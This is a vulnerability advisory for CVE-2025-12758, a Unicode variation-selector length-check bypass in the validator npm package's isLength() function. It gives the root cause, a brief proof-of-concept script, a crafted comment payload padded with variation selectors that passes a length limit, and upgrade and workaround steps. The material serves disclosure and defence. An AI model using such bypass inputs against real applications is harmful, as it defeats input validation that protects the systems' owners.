
Detailed CVE-2025-12758 disclosure with PoC demonstrating Unicode variation selector bypass in validator.js isLength(), including root cause analysis, exploitation scenarios, and mitigation steps.
CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Severity: HIGH
CWE: CWE-792 (Incomplete Filtering of One or More Instances of Special Elements)
Published: November 26, 2025
Disclosed: October 19, 2025
This vulnerability affects the validator npm package versions < 13.15.22. The isLength() function fails to account for Unicode variation selectors (\uFE0F, \uFE0E) when calculating string length, leading to improper input validation.
An application using isLength() for input validation can accept strings significantly longer than intended, potentially resulting in:
The isLength() function does not properly filter out Unicode variation selectors when calculating string length. These special characters (combining marks) should not contribute to the visual length of a string but are counted in JavaScript's String.length property.
npm install [email protected]
node poc.js
The POC demonstrates the vulnerability by testing the isLength() function:
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
The third output demonstrates the vulnerability: a string with actual length 8 passes a validation check for maximum length 4.
An application might implement user comment validation:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
The patched version properly handles Unicode variation selectors by excluding them from length calculations.
If you cannot immediately upgrade, implement custom length validation:
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Check if your application is vulnerable:
npm audit --audit-level=high
Look for validator package with version < 13.15.22.
Vulnerability discovered by: Karol Wrótniak
ISC